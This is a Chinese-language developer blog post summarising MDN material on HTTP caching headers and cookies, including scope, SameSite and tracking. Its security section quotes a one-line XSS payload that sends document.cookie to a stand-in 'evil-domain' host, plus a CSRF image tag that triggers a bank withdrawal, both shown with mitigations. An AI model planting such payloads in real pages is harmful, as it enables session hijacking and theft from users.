iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 25
0
自我挑戰組

網頁服務開發之路系列 第 25

Day25. HTTP 通訊協定 Part2: Cache & Cookie

HTTP: Cache

Cache:
MDN - Caching

不同種類的緩存 & 如何控制緩存(配置HTTP 首部)

  1. 各種各樣的緩存
    1. 私有服務器緩存
    2. 共享代理緩存
  2. 緩存操作的目標
  3. 緩存控制
    1. Cache-control 頭
    2. Pragma 頭
  4. 緩存有效性
  5. 緩存驗證
  6. 帶 Vary 頭的響應

各種各樣的緩存

指存儲指定資源的一份拷貝,並在下次請求該資源時提供該拷貝的技術

  1. 分兩類:
    1. 私有服務器緩存
    2. 共享代理緩存
  2. 私有服務器緩存
    1. 只能用於單獨用戶
    2. 可以被多個用戶使用

緩存操作的目標

  1. 關鍵主要包括 request method 和目標 URI,一般只有 GET 請求才會被緩存
  2. 普遍的緩存案例
    1. 成功響應 狀態碼:200
    2. 不變的重定向 狀態碼:301
    3. 錯誤響應 狀態碼:404
    4. 不完全的響應 狀態碼 206
    • 除了 GET 請求外,如果匹配到作為一個已被定義的 cache 鍵名的響應

緩存控制

Cache-control 頭

通過它提供的不同的值來定義緩存策略

  1. 完全不支持緩存

    1. 每次由客戶端發起的請求都會下載完整的響應內容
    Cache-Control: no-store
    Cache-Control: no-cache, no-store, must-revalidate
    
  2. 不緩存內容

    1. 在釋放緩存內容前向服務端源地址發送請求以驗證緩存是否有效
    Cache-Control: no-cache
    
  3. 私有緩存和公共緩存

    1. public: 需要進行http身份驗證的頁面
    2. private: 需要進行http身份驗證的頁面,隱私模式下的瀏覽器會通過這種方式存儲緩存
    Cache-Control: private
    Cache-Control: public
    
  4. 緩存過期 Expires

    1. max-age: 距離請求發起的時間的秒數
    2. 針對應用中那些不會改變的文件,通常可以手動設置一定的時長以保證緩存有效,例如圖片、css、js等靜態資源
    Cache-Control: max-age=31536000
    
  5. 緩存驗證

    1. must-revalidate: 強制驗證狀態判斷其是否過期
    Cache-Control: must-revalidate
    

Pragma 頭

  1. 強制驗證狀態判斷其是否過期

緩存有效性

  1. 緩存拋棄: 緩存的存儲空間有限,定期會移除一部分緩存文件
  2. 緩存內容更新: 針對那些在服務端發生改變的資源
  3. 當發起一個針對舊緩存資源的請求時,會在請求頭裏帶上If-None-Match用來判斷緩存是否還有效
    • 如果有效,服務端返回304(Not Modified)和空的body以節省一部分帶寬
  4. 緩存失效時間計算公式
    緩存失效時間 = 響應時間 + 緩存壽命 - 當前時間
    
    1. 對於含有特定頭信息的請求,會去計算緩存壽命
    2. 對於不含這個屬性的請求則會去查看是否包含Expires屬性
    3. 如果max-age和expires屬性都沒有,找找頭裏的Last-Modified信息
    • 響應時間指瀏覽器接收到服務端的響應的時間

加速資源 Freshness

  1. 為了優化緩存,過期時間設置得盡量長是一種很好的策略
  2. revving 技術
    1. 不頻繁更新的文件會使用特定的命名方式:在URL後面(通常是文件名後面)會加上版本號
    • 優點:
      1. 加上版本號後的資源就被視作一個完全新的獨立的資源,同時擁有一年甚至更長的緩存過期時長
      2. 同時更新兩個緩存資源不會造成部分緩存先更新而引起新舊文件內容不一致
      3. 防止緩存碰撞的標記例如hash或者時間戳
    • 缺點: 引用這個資源的地方都需要更新鏈接
  3. 采用自動化構建工具在實際工作中完成這些瑣碎的工作
  4. 當低頻更新的資源(js/css)變動了,只用在高頻變動的資源文件(html)裏做入口的改動

緩存驗證 Cache validation

  1. 用戶點擊刷新按鈕時會開始緩存驗證
    • Cache-control: must-revalidate: 在瀏覽的過程中也會觸發緩存驗證
  2. 當緩存的文檔過期後,需要進行緩存驗證或者重新獲取資源
    1. 只有在服務器返回 強校驗器(ETags)或者 弱校驗器(Last-Modified)時才會進行驗證
    2. ETags
      • 強校驗器,客戶端可以在後續的所有請求的頭中帶上 If-None-Match頭來驗證緩存
    3. Last-Modified
      1. 弱校驗器,因為它是一次性的
      2. 客戶端可以在後續的一次請求中帶上 If-Modified-Since來驗證緩存
  3. 當向服務端發起緩存校驗的請求時
    1. 200 ok: 返回正常
    2. 304 Not Modified(with an empty body): 瀏覽器可以使用本地緩存文件或 更新緩存文檔的過期時間

帶 Vary 頭的響應 Varying responses

  1. 決定了對於後續的請求頭,如何判斷是請求一個新的資源還是使用緩存的文件
    1. 當緩存服務器收到一個請求,只有當前的請求和原始(緩存)的請求頭跟緩存的響應頭裏的Vary都匹配,才能使用緩存的響應
  • 優點
    1. 有利於內容服務的動態多樣性
    2. 如果需要區分移動端和桌面端的展示內容,能避免在不同的終端展示錯誤的佈局
    3. 幫助google或者其他搜索引擎更好地發現頁面的移動版

HTTP: Cookie

Cookie: MDN - Cookie

服務器發送到用戶瀏覽器並保存在瀏覽器上的一塊數據,它會在瀏覽器下一次發起請求時被攜帶並發送到服務器上

  1. 創建Cookie
    1. Set-Cookie響應首部和Cookie請求頭部
    2. 會話期Cookie
    3. 持久Cookie
    4. 安全和HttpOnly類型Cookie
    5. Cookie的作用域
    6. 同站Cookie
    7. JavaScript通過Document.cookies訪問Cookie
  2. 安全
    1. 會話劫持和XSS
    2. 跨站請求偽造(CSRF)
  3. 追蹤和隱私
    1. 第三方Cookie
    2. 禁止追蹤Do-Not-Track
    3. 歐盟Cookie指令
    4. 殭屍Cookie和刪不掉的Cookie

Cookie主要用在以下三個方面

  1. 會話狀態管理(如用戶登錄狀態、購物車)
  2. 個性化設置(如用戶自定義設置)
  3. 瀏覽器行為跟蹤(如跟蹤分析用戶行為)

創建Cookie

  1. Set-Cookie響應首部和Cookie請求頭部
    1. 瀏覽器收到響應之後會取出Cookie信息並保存,之後對該服務器每一次請求中都通過Cookie請求頭部將Cookie信息發送給服務器
    2. 簡單的Cookie
    Set-Cookie: <cookie名稱>=<cookie值>
    
    1. 服務器告訴客戶端要保存Cookie信息,瀏覽器收到後會將Cookie保存
    HTTP/1.0 200 OK
    Content-type: text/html
    Set-Cookie: yummy_cookie=choco
    Set-Cookie: tasty_cookie=strawberry
    
    1. 之後,對該服務器發起的每一次新的請求,瀏覽器都會將之前保存的Cookie信息
    GET /sample_page.html HTTP/1.1
    Host: www.example.org
    Cookie: yummy_cookie=choco; tasty_cookie=strawberry
    
  2. 會話期Cookie
    1. 瀏覽器關閉之後它會被自動刪除
    2. 不需要指定過期時間(Expires)或者有效期(Max-Age)
  3. 持久Cookie
    1. 可以指定一個特定的過期時間(Expires)或者有效期(Max-Age)
    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
    
  4. 安全和HttpOnly類型Cookie
    1. 只有在使用 SLLHTTPS協議 向服務器發起請求時,才能確保Cookie被安全地發送到服務器
    2. 阻止跨域腳本攻擊(XSS)
    3. 在不安全的環境時,切記絕不能通過HTTP Cookie存儲、傳輸機密或者敏感信息
    4. 當你不需要在JavaScript代碼中訪Cookie時,特別Cookie僅用於定義會話的情況下,最好設置HttpOnly標誌
    Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
    
  5. Cookie的作用域
    1. Domain: 規定了需要發送Cookie的主機名
      • 如果沒有指定,默認為當前的文檔地址上的主機名
      • 如果設置 Domain=mozilla.org,則Cookie包含在子域名中,如developer.mozilla.org
    2. Path: 表明需要發送Cookie的URL路徑
      • 字符 %x2F (即"/")用做文件夾分隔符
      • 子文件夾也會被匹配到
  6. 同站 Cookie
    1. 沒有被所有的瀏覽器所支持
    2. 允許服務器指定在跨站請求時 Cookie 是否會被發送
    3. 可以阻止跨站請求偽造攻擊(CSRF)
  7. JavaScript 通過 Document.cookies 訪問 Cookie
    1. 可以創建新的Cookie,也能訪問未被指定HttpOnly標志的Cookie
    document.cookie = "yummy_cookie=choco"; 
    document.cookie = "tasty_cookie=strawberry"; 
    console.log(document.cookie); 
    // logs "yummy_cookie=choco; tasty_cookie=strawberry"
    

安全

當整個機器暴露在不安全的環境時,切記絕不能通過HTTP Cookie存儲、者傳輸機密或者敏感信息

  1. 會話劫持和XSS (Cross-site scripting)
    1. Cookie常常用來標記用戶和會話授權
    2. 常用的竊取Cookie的方法
      1. 利用社會工程學進行攻擊
      2. 利用應用程序的漏洞進行XSS攻擊
    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" +  document.cookie;
    
    1. HttpOnly類型的Cookie,一定程度上緩解此類攻擊
  2. 跨站請求偽造(CSRF, Cross-Site Request Forgery)
    • 有一張並不真實存在的圖片,它實際上是向你的銀行服務器發送了提現請求
    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    
    1. 當你打開含有了這張圖片的HTML頁面是,如果你已經登錄了你的銀行帳號並且還有效(而且沒有其它驗證步驟),你的銀行裏的錢可能會被自動轉走
    2. 阻止該類事情的發生
      1. 對用戶輸入進行過濾來阻止XSS
      2. 任何敏感的操作都應該被確認
      3. 用於敏感信息的Cookie只能擁有較短的生命週期;
      4. 其他 [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF prevention cheat sheet]

追蹤和隱私

  1. 第三方 Cookie
    1. 每個 Cookie 都有與之關聯的域(Domain)
      • 第一方 Cookie(first-party cookie): Cookie 的域和頁面的域是一樣的
      • 第三方 Cookie(third-party cookie): Cookie 的域和頁面的域不一樣
    2. 第三方 Cookie 主要用於廣告和通過網絡進行追蹤
  2. 禁止追蹤 Do-Not-Track (DNT)
    1. 通過 DNT 可以告訴 Web 禁止對用戶的行為進行追蹤或者跨站追蹤
  3. 歐盟 Cookie 指令
    1. 在徵得用戶的同意之前,不允許通過計算機、手機或者其他設備存儲、檢索任何信息
  4. 殭屍Cookie( 刪不掉的Cookie )
    1. 一般是指使用 Web storage API、Flash 本地共享對像或者其他技術手段來達到目的

上一篇
Day24. HTTP 通訊協定 Part1
下一篇
Day 26. Chrome Develop Tool: Network
系列文
網頁服務開發之路30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言